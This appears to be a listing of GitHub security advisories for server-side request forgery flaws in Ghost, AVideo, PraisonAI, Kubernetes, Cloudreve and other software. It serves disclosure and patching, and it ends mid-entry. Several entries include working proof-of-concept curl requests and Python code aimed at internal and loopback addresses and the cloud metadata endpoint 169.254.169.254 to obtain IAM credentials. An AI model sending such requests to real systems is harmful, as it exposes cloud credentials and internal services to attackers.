CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
5695 vulnerabilities reference this CWE, most recent first.
GHSA-X5MM-WM4G-J5XV
Vulnerability from github – Published: 2026-08-05 14:37 – Updated: 2026-08-05 14:37Impact
A validation issue allowed some functionality, such as Webmentions, to be abused by an unauthenticated user to make limited HTTP requests to hosts in the Ghost server's internal network. A successful attack would not result in any response data being returned.
Vulnerable versions
This vulnerability is present in Ghost from v6.26.0 up to v6.54.0.
Patches
v6.54.1 contains a fix for this issue.
How to update
For self-hosters using Docker, find Docker's official Ghost image here. Updating a Docker-based Ghost instance is documented here.
If your Ghost is a Ghost-CLI install see our documentation on updating it to the latest version here.
References
Ghost thanks Hwang Seyeon for disclosing this vulnerability responsibly.
For more information
If you have any questions or comments about this advisory, email Ghost at security@ghost.org.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "ghost"
},
"ranges": [
{
"events": [
{
"introduced": "6.26.0"
},
{
"fixed": "6.54.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-70595"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-05T14:37:14Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nA validation issue allowed some functionality, such as Webmentions, to be abused by an unauthenticated user to make limited HTTP requests to hosts in the Ghost server\u0027s internal network. A successful attack would not result in any response data being returned.\n\n### Vulnerable versions\n\nThis vulnerability is present in Ghost from v6.26.0 up to v6.54.0.\n\n### Patches\n\nv6.54.1 contains a fix for this issue.\n\n### How to update\n\nFor self-hosters using Docker, find [Docker\u0027s official Ghost image here](https://hub.docker.com/_/ghost). Updating a Docker-based Ghost instance [is documented here](https://docs.ghost.org/install/docker#updating-ghost). \n\nIf your Ghost is a Ghost-CLI install see our documentation on [updating it to the latest version here](https://docs.ghost.org/update). \n\n### References\n\nGhost thanks Hwang Seyeon for disclosing this vulnerability responsibly.\n\n### For more information\n\nIf you have any questions or comments about this advisory, email Ghost at [security@ghost.org](mailto:security@ghost.org).",
"id": "GHSA-x5mm-wm4g-j5xv",
"modified": "2026-08-05T14:37:14Z",
"published": "2026-08-05T14:37:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/TryGhost/Ghost/security/advisories/GHSA-x5mm-wm4g-j5xv"
},
{
"type": "PACKAGE",
"url": "https://github.com/TryGhost/Ghost"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Ghost: Server-Side Request Forgery Mitigation Issue"
}
GHSA-X5R2-HJ5C-8JX6
Vulnerability from github – Published: 2021-02-11 20:42 – Updated: 2025-10-22 19:05Impact
Users of Adminer versions bundling all drivers (e.g. adminer.php) are affected.
Patches
Patched by ccd2374b, included in version 4.7.9.
Workarounds
- Use a single driver version (e.g.
adminer-mysql.php). - Protect access to Adminer also by other means, e.g. by HTTP password, IP address limiting or by OTP plugin.
References
https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf
For more information
If you have any questions or comments about this advisory: * Comment at ccd2374b.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "vrana/adminer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-21311"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2021-02-11T20:42:04Z",
"nvd_published_at": "2021-02-11T21:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nUsers of Adminer versions bundling all drivers (e.g. `adminer.php`) are affected.\n\n### Patches\nPatched by ccd2374b, included in version [4.7.9](https://github.com/vrana/adminer/releases/tag/v4.7.9).\n\n### Workarounds\n* Use a single driver version (e.g. `adminer-mysql.php`).\n* Protect access to Adminer also by other means, e.g. by HTTP password, IP address limiting or by OTP [plugin](https://www.adminer.org/plugins/).\n\n### References\nhttps://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Comment at ccd2374b.",
"id": "GHSA-x5r2-hj5c-8jx6",
"modified": "2025-10-22T19:05:30Z",
"published": "2021-02-11T20:42:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21311"
},
{
"type": "WEB",
"url": "https://github.com/vrana/adminer/commit/ccd2374b0b12bd547417bf0dacdf153826c83351"
},
{
"type": "PACKAGE",
"url": "https://github.com/vrana/adminer"
},
{
"type": "WEB",
"url": "https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/03/msg00002.html"
},
{
"type": "WEB",
"url": "https://packagist.org/packages/vrana/adminer"
},
{
"type": "WEB",
"url": "https://sourceforge.net/p/adminer/news/2021/02/adminer-479-released"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-21311"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N/E:H",
"type": "CVSS_V3"
}
],
"summary": "SSRF in adminer"
}
GHSA-X5VX-VRPF-R45F
Vulnerability from github – Published: 2026-04-01 21:08 – Updated: 2026-04-01 21:08Summary
The EPG (Electronic Program Guide) link feature in AVideo allows authenticated users with upload permissions to store arbitrary URLs that the server fetches on every EPG page visit. The URL is validated only with PHP's FILTER_VALIDATE_URL, which accepts internal network addresses. Although AVideo has a dedicated isSSRFSafeURL() function for preventing SSRF, it is not called in this code path. This results in a stored server-side request forgery vulnerability that can be used to scan internal networks, access cloud metadata services, and interact with internal services.
Details
When a user adds or edits a video, the EPG link is stored via objects/videoAddNew.json.php:119:
$obj->setEpg_link($_POST['epg_link']);
The only validation applied is FILTER_VALIDATE_URL, which accepts URLs targeting internal addresses such as http://127.0.0.1, http://169.254.169.254, or http://10.0.0.1.
Later, when the EPG data is parsed, the stored URL is fetched server-side at objects/EpgParser.php:358:
$this->content = @\file_get_contents($this->url);
The file_get_contents() function follows redirects and supports multiple protocols including http://, https://, ftp://, and depending on PHP configuration, php:// and other stream wrappers.
The codebase contains an isSSRFSafeURL() function that validates URLs against internal network ranges, but this function is not invoked anywhere in the EPG link processing path.
Because the URL is stored in the database, every subsequent visit to the EPG page re-triggers the server-side request. This makes the SSRF persistent and repeatable without further attacker interaction.
Proof of Concept
-
Authenticate as a user with upload permissions.
-
Create or edit a video and set the EPG link to an internal target:
# Target the cloud metadata service
curl -b "PHPSESSID=USER_SESSION" \
-X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \
-d "title=Test+Video&epg_link=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
- Trigger the EPG parser by visiting the video's EPG page, or wait for the next page load that processes EPG data:
curl -b "PHPSESSID=USER_SESSION" \
"https://your-avideo-instance.com/plugin/Live/view/Live_schedule/?videos_id=VIDEO_ID"
- To scan internal ports, set the EPG link to various internal addresses:
# Scan an internal service
curl -b "PHPSESSID=USER_SESSION" \
-X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \
-d "title=Test+Video&epg_link=http://127.0.0.1:6379/"
- The server fetches the URL via
file_get_contents(). Response differences (timing, error messages, or returned content via EPG display) reveal whether internal services are running.
Impact
An authenticated user with upload permissions can force the AVideo server to make HTTP requests to arbitrary internal and external targets. This enables scanning of internal networks, access to cloud instance metadata (potentially exposing IAM credentials on AWS/GCP/Azure), and interaction with internal services that are not intended to be externally accessible. The stored nature of this SSRF means it re-executes on every page visit, amplifying the impact.
- CWE-918: Server-Side Request Forgery (SSRF)
- Severity: Medium
Recommended Fix
Add an isSSRFSafeURL() check before the file_get_contents() call at objects/EpgParser.php:355:
if (function_exists('isSSRFSafeURL') && !isSSRFSafeURL($this->url)) {
throw new \RuntimeException('URL blocked by SSRF protection');
}
This reuses the existing SSRF protection function that is already applied in other code paths.
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34740"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T21:08:40Z",
"nvd_published_at": "2026-03-31T21:16:32Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe EPG (Electronic Program Guide) link feature in AVideo allows authenticated users with upload permissions to store arbitrary URLs that the server fetches on every EPG page visit. The URL is validated only with PHP\u0027s `FILTER_VALIDATE_URL`, which accepts internal network addresses. Although AVideo has a dedicated `isSSRFSafeURL()` function for preventing SSRF, it is not called in this code path. This results in a stored server-side request forgery vulnerability that can be used to scan internal networks, access cloud metadata services, and interact with internal services.\n\n## Details\n\nWhen a user adds or edits a video, the EPG link is stored via `objects/videoAddNew.json.php:119`:\n\n```php\n$obj-\u003esetEpg_link($_POST[\u0027epg_link\u0027]);\n```\n\nThe only validation applied is `FILTER_VALIDATE_URL`, which accepts URLs targeting internal addresses such as `http://127.0.0.1`, `http://169.254.169.254`, or `http://10.0.0.1`.\n\nLater, when the EPG data is parsed, the stored URL is fetched server-side at `objects/EpgParser.php:358`:\n\n```php\n$this-\u003econtent = @\\file_get_contents($this-\u003eurl);\n```\n\nThe `file_get_contents()` function follows redirects and supports multiple protocols including `http://`, `https://`, `ftp://`, and depending on PHP configuration, `php://` and other stream wrappers.\n\nThe codebase contains an `isSSRFSafeURL()` function that validates URLs against internal network ranges, but this function is not invoked anywhere in the EPG link processing path.\n\nBecause the URL is stored in the database, every subsequent visit to the EPG page re-triggers the server-side request. This makes the SSRF persistent and repeatable without further attacker interaction.\n\n## Proof of Concept\n\n1. Authenticate as a user with upload permissions.\n\n2. Create or edit a video and set the EPG link to an internal target:\n\n```bash\n# Target the cloud metadata service\ncurl -b \"PHPSESSID=USER_SESSION\" \\\n -X POST \"https://your-avideo-instance.com/objects/videoAddNew.json.php\" \\\n -d \"title=Test+Video\u0026epg_link=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n```\n\n3. Trigger the EPG parser by visiting the video\u0027s EPG page, or wait for the next page load that processes EPG data:\n\n```bash\ncurl -b \"PHPSESSID=USER_SESSION\" \\\n \"https://your-avideo-instance.com/plugin/Live/view/Live_schedule/?videos_id=VIDEO_ID\"\n```\n\n4. To scan internal ports, set the EPG link to various internal addresses:\n\n```bash\n# Scan an internal service\ncurl -b \"PHPSESSID=USER_SESSION\" \\\n -X POST \"https://your-avideo-instance.com/objects/videoAddNew.json.php\" \\\n -d \"title=Test+Video\u0026epg_link=http://127.0.0.1:6379/\"\n```\n\n5. The server fetches the URL via `file_get_contents()`. Response differences (timing, error messages, or returned content via EPG display) reveal whether internal services are running.\n\n## Impact\n\nAn authenticated user with upload permissions can force the AVideo server to make HTTP requests to arbitrary internal and external targets. This enables scanning of internal networks, access to cloud instance metadata (potentially exposing IAM credentials on AWS/GCP/Azure), and interaction with internal services that are not intended to be externally accessible. The stored nature of this SSRF means it re-executes on every page visit, amplifying the impact.\n\n- **CWE-918**: Server-Side Request Forgery (SSRF)\n- **Severity**: Medium\n\n## Recommended Fix\n\nAdd an `isSSRFSafeURL()` check before the `file_get_contents()` call at `objects/EpgParser.php:355`:\n\n```php\nif (function_exists(\u0027isSSRFSafeURL\u0027) \u0026\u0026 !isSSRFSafeURL($this-\u003eurl)) {\n throw new \\RuntimeException(\u0027URL blocked by SSRF protection\u0027);\n}\n```\n\nThis reuses the existing SSRF protection function that is already applied in other code paths.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-x5vx-vrpf-r45f",
"modified": "2026-04-01T21:08:40Z",
"published": "2026-04-01T21:08:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-x5vx-vrpf-r45f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34740"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/677d1a314d46abce457c7b662afbb58b0d9f17a2"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo: Stored SSRF via Video EPG Link Missing isSSRFSafeURL() Validation"
}
GHSA-X63R-JX45-482M
Vulnerability from github – Published: 2026-03-09 18:31 – Updated: 2026-03-11 15:31An issue pertaining to CWE-918: Server-Side Request Forgery was discovered in oslabs-beta ThermaKube master.
{
"affected": [],
"aliases": [
"CVE-2025-70042"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-09T16:16:15Z",
"severity": "CRITICAL"
},
"details": "An issue pertaining to CWE-918: Server-Side Request Forgery was discovered in oslabs-beta ThermaKube master.",
"id": "GHSA-x63r-jx45-482m",
"modified": "2026-03-11T15:31:36Z",
"published": "2026-03-09T18:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-70042"
},
{
"type": "WEB",
"url": "https://gist.github.com/zcxlighthouse/5a6d15611456de619e4be36f7d2a0ee7"
},
{
"type": "WEB",
"url": "https://github.com/oslabs-beta"
},
{
"type": "WEB",
"url": "https://github.com/oslabs-beta/ThermaKube"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X698-9G95-CHP7
Vulnerability from github – Published: 2023-06-08 21:30 – Updated: 2024-04-04 04:40Pydio Cells through 4.1.2 allows SSRF. For longer running processes, Pydio Cells allows for the creation of jobs, which are run in the background. The job "remote-download" can be used to cause the backend to send a HTTP GET request to a specified URL and save the response to a new file. The response file is then available in a user-specified folder in Pydio Cells.
{
"affected": [],
"aliases": [
"CVE-2023-32750"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-08T21:15:17Z",
"severity": "MODERATE"
},
"details": "Pydio Cells through 4.1.2 allows SSRF. For longer running processes, Pydio Cells allows for the creation of jobs, which are run in the background. The job \"remote-download\" can be used to cause the backend to send a HTTP GET request to a specified URL and save the response to a new file. The response file is then available in a user-specified folder in Pydio Cells.",
"id": "GHSA-x698-9g95-chp7",
"modified": "2024-04-04T04:40:57Z",
"published": "2023-06-08T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32750"
},
{
"type": "WEB",
"url": "https://www.redteam-pentesting.de/advisories/rt-sa-2023-005"
},
{
"type": "WEB",
"url": "https://www.redteam-pentesting.de/en/advisories/-advisories-publicised-vulnerability-analyses"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X6F8-H6VP-666P
Vulnerability from github – Published: 2025-08-26 00:31 – Updated: 2025-08-26 18:31Rebuild v3.7.7 was discovered to contain a Server-Side Request Forgery (SSRF) via the type parameter in the com.rebuild.web.admin.rbstore.RBStoreController#loadDataIndex method.
{
"affected": [],
"aliases": [
"CVE-2024-46413"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-25T15:15:35Z",
"severity": "MODERATE"
},
"details": "Rebuild v3.7.7 was discovered to contain a Server-Side Request Forgery (SSRF) via the type parameter in the com.rebuild.web.admin.rbstore.RBStoreController#loadDataIndex method.",
"id": "GHSA-x6f8-h6vp-666p",
"modified": "2025-08-26T18:31:14Z",
"published": "2025-08-26T00:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46413"
},
{
"type": "WEB",
"url": "https://github.com/RacerZ-fighting/CVE-vulns/blob/main/rebuild%203.7.7.md"
},
{
"type": "WEB",
"url": "https://github.com/RacerZ-fighting/rebuild-vulns/blob/main/rebuild%203.7.7.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X6M9-GXVR-7JPV
Vulnerability from github – Published: 2026-04-01 23:21 – Updated: 2026-04-06 22:54Summary
passthrough() and apassthrough() in praisonai accept a caller-controlled api_base parameter that is concatenated with endpoint and passed directly to httpx.Client.request() when the litellm primary path raises AttributeError. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.
Details
passthrough.py:92 (source) -> passthrough.py:109 (fallback trigger) -> passthrough.py:110 (sink)
# source -- api_base taken directly from caller
def passthrough(endpoint, api_base=None, method="GET", ...):
# fallback trigger -- AttributeError from unrecognised provider enters fallback
except AttributeError:
url = f"{api_base or 'https://api.openai.com'}{endpoint}"
# sink -- no validation before request
response = client.request(method, url=url, ...)
PoC
# tested on: praisonai 1.5.87 (source install)
# install: pip install -e src/praisonai
# start listener: python3 -m http.server 8888
import sys, litellm
sys.path.insert(0, 'src/praisonai')
del litellm.llm_passthrough_route
from praisonai.capabilities.passthrough import passthrough
result = passthrough(
endpoint="/ssrf-test",
api_base="http://127.0.0.1:8888",
method="GET",
custom_llm_provider="__nonexistent__",
)
print(result)
# expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...})
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: api_base="http://169.254.169.254" returns IAM credentials
Impact
On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with AUTH_ENABLED = False by default, making this reachable over the network without credentials.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.5.89"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.90"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34936"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:21:45Z",
"nvd_published_at": "2026-04-03T23:17:05Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`passthrough()` and `apassthrough()` in `praisonai` accept a caller-controlled `api_base` parameter that is concatenated with `endpoint` and passed directly to `httpx.Client.request()` when the litellm primary path raises `AttributeError`. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.\n\n### Details\n\n`passthrough.py:92` (source) -\u003e `passthrough.py:109` (fallback trigger) -\u003e `passthrough.py:110` (sink)\n```python\n# source -- api_base taken directly from caller\ndef passthrough(endpoint, api_base=None, method=\"GET\", ...):\n\n# fallback trigger -- AttributeError from unrecognised provider enters fallback\nexcept AttributeError:\n url = f\"{api_base or \u0027https://api.openai.com\u0027}{endpoint}\"\n\n# sink -- no validation before request\n response = client.request(method, url=url, ...)\n```\n\n### PoC\n```python\n# tested on: praisonai 1.5.87 (source install)\n# install: pip install -e src/praisonai\n# start listener: python3 -m http.server 8888\nimport sys, litellm\nsys.path.insert(0, \u0027src/praisonai\u0027)\ndel litellm.llm_passthrough_route\n\nfrom praisonai.capabilities.passthrough import passthrough\n\nresult = passthrough(\n endpoint=\"/ssrf-test\",\n api_base=\"http://127.0.0.1:8888\",\n method=\"GET\",\n custom_llm_provider=\"__nonexistent__\",\n)\nprint(result)\n# expected output: PassthroughResult(data=\u0027...\u0027, status_code=404, headers={\u0027server\u0027: \u0027SimpleHTTP/0.6 Python/3.12.3\u0027, ...})\n# listener logs: \"GET /ssrf-test HTTP/1.1\" 404\n# on EC2 with IMDSv1: api_base=\"http://169.254.169.254\" returns IAM credentials\n```\n\n### Impact\n\nOn cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with `AUTH_ENABLED = False` by default, making this reachable over the network without credentials.",
"id": "GHSA-x6m9-gxvr-7jpv",
"modified": "2026-04-06T22:54:03Z",
"published": "2026-04-01T23:21:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x6m9-gxvr-7jpv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34936"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback"
}
GHSA-X6MJ-W4JF-JMGW
Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2023-09-18 22:44The Kubernetes kube-controller-manager in versions v1.0-1.14, versions prior to v1.15.12, v1.16.9, v1.17.5, and version v1.18.0 are vulnerable to a Server Side Request Forgery (SSRF) that allows certain authorized users to leak up to 500 bytes of arbitrary information from unprotected endpoints within the master's host network (such as link-local or loopback services).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "k8s.io/kubernetes"
},
"ranges": [
{
"events": [
{
"introduced": "1.18.0"
},
{
"fixed": "1.18.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "k8s.io/kubernetes"
},
"ranges": [
{
"events": [
{
"introduced": "1.17.0"
},
{
"fixed": "1.17.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "k8s.io/kubernetes"
},
"ranges": [
{
"events": [
{
"introduced": "1.16.0"
},
{
"fixed": "1.16.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "k8s.io/kubernetes"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.15.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-8555"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-13T20:13:43Z",
"nvd_published_at": "2020-06-05T17:15:00Z",
"severity": "MODERATE"
},
"details": "The Kubernetes kube-controller-manager in versions v1.0-1.14, versions prior to v1.15.12, v1.16.9, v1.17.5, and version v1.18.0 are vulnerable to a Server Side Request Forgery (SSRF) that allows certain authorized users to leak up to 500 bytes of arbitrary information from unprotected endpoints within the master\u0027s host network (such as link-local or loopback services).",
"id": "GHSA-x6mj-w4jf-jmgw",
"modified": "2023-09-18T22:44:56Z",
"published": "2022-02-15T01:57:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8555"
},
{
"type": "WEB",
"url": "https://github.com/kubernetes/kubernetes/issues/91542"
},
{
"type": "WEB",
"url": "https://github.com/kubernetes/kubernetes/pull/89794"
},
{
"type": "WEB",
"url": "https://groups.google.com/d/topic/kubernetes-security-announce/kEK27tqqs30/discussion"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3SOCLOPTSYABTE4CLTSPDIFE6ZZZR4LX"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20200724-0005"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2020/06/01/4"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2021/05/04/8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Server Side Request Forgery (SSRF) in Kubernetes"
}
GHSA-X6V9-4FG2-25CW
Vulnerability from github – Published: 2023-09-16 09:30 – Updated: 2024-04-04 07:42The Dropbox Folder Share plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to, and including, 1.9.7 via the 'link' parameter. This can allow unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2023-3025"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-16T09:15:07Z",
"severity": "HIGH"
},
"details": "The Dropbox Folder Share plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to, and including, 1.9.7 via the \u0027link\u0027 parameter. This can allow unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-x6v9-4fg2-25cw",
"modified": "2024-04-04T07:42:49Z",
"published": "2023-09-16T09:30:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3025"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/dropbox-folder-share/trunk/HynoTech/DropboxFolderShare/Principal.php#L118"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d62bd2bd-db01-479f-89e4-8031d69a912f?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X756-G4X3-C64M
Vulnerability from github – Published: 2026-07-20 21:16 – Updated: 2026-07-20 21:16Summary
Cloudreve's remote download workflow accepts user-supplied URLs and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets.
When the remote download permission is granted to a non-admin user group, a normal authenticated user can make the server-side downloader fetch internal-only URLs and then read the fetched response after it is imported into the user's own Cloudreve files.
This does not affect default normal users unless the remote download permission is enabled for their group. However, the permission is a feature-level user-group capability and does not make the user an administrator.
Attacker requirements
The attacker must be:
- authenticated
- non-admin
- in a user group where
GroupPermissionRemoteDownloadis enabled
Default normal users are blocked from the affected workflow. In the default install, only the admin group has the remote download permission, while the default User group does not.
Affected endpoint
POST /api/v4/workflow/download
Follow-up attacker readback was performed through normal workflow and file APIs:
GET /api/v4/workflow?category=downloaded...
GET /api/v4/file?uri=cloudreve://my...
POST /api/v4/file/url
Root cause
The remote download workflow checks whether the user group has remote download permission, but it does not validate the submitted URL before passing it to the downloader.
Relevant code paths:
service/explorer/workflows.go:81pkg/filemanager/workflows/remote_download.go:202pkg/downloader/aria2/aria2.go:56
The application does not block loopback, localhost, IPv6 localhost, or redirect targets resolving to internal addresses.
Impact
A non-admin user with remote download permission can use Cloudreve as an SSRF primitive to access services reachable from the downloader environment.
In my test, the attacker could fetch internal loopback URLs and read the response body after Cloudreve imported the downloaded content into the attacker's own files.
Confirmed targets:
http://127.0.0.1:7777/secret2http://localhost:7777/localsecrethttp://[::1]:7780/v6secret- redirect to
http://127.0.0.1:7777/redirsecret
This can expose internal HTTP services, loopback-only admin panels, local service metadata, or other network resources that are not directly reachable by the attacker.
Reproduction
1. Permission negative control
The attacker is a normal non-admin user in the default User group.
Before enabling remote download for the group:
POST /api/v4/workflow/download
Content-Type: application/json
{"src":["http://127.0.0.1:7777/secret"],"dst":"cloudreve://my"}
Response:
{"code":40007,"msg":"Group not allowed to download files"}
2. Enable only remote download permission for the non-admin group
The default install grants remote download to the admin group only. The default User group does not have it.
Confirmed in:
inventory/migration.go:154inventory/migration.go:179
For this test, I only changed group 2 permissions from:
hAg=
to:
hAo=
The attacker remained in the User group and was not made admin. GET /api/v4/user/me still returned the group name as User.
3. Start an internal listener
Example listener on the Cloudreve host:
127.0.0.1:7777
The listener returned a marker response:
SSRF_SECRET_2_20260527
4. Queue a remote download to loopback
POST /api/v4/workflow/download
Content-Type: application/json
{"src":["http://127.0.0.1:7777/secret2"],"dst":"cloudreve://my"}
Response:
{"code":0,"data":[{"id":"OzH4","status":"queued","type":"remote_download"}]}
The internal listener received the request:
127.0.0.1 - - [27/May/2026 13:00:46] "GET /secret2 HTTP/1.1" 200 -
Aria2 completed the download:
Download complete: /home/b4r/cysec/cvehunting/cloudreve/data/temp/.../secret2
5. Read the imported internal response as the attacker
The task completed successfully:
{"id":"OzH4","status":"completed","summary":{"props":{"src_str":"http://127.0.0.1:7777/secret2","failed":0}}}
The attacker could list the imported file:
{"name":"secret2","path":"cloudreve://my/secret2"}
The attacker could then download and read the response body:
SSRF_SECRET_2_20260527
Additional validated variants
localhost
Input:
http://localhost:7777/localsecret
Attacker readback:
LOCALHOST_SECRET_20260527
Redirect to loopback
Input:
http://127.0.0.1:7779/anything
Redirect:
302 Location: http://127.0.0.1:7777/redirsecret
Attacker readback:
REDIR_SECRET_20260527
IPv6 localhost
Input:
http://[::1]:7780/v6secret
Attacker readback:
IPV6_SECRET_20260527
Expected behavior
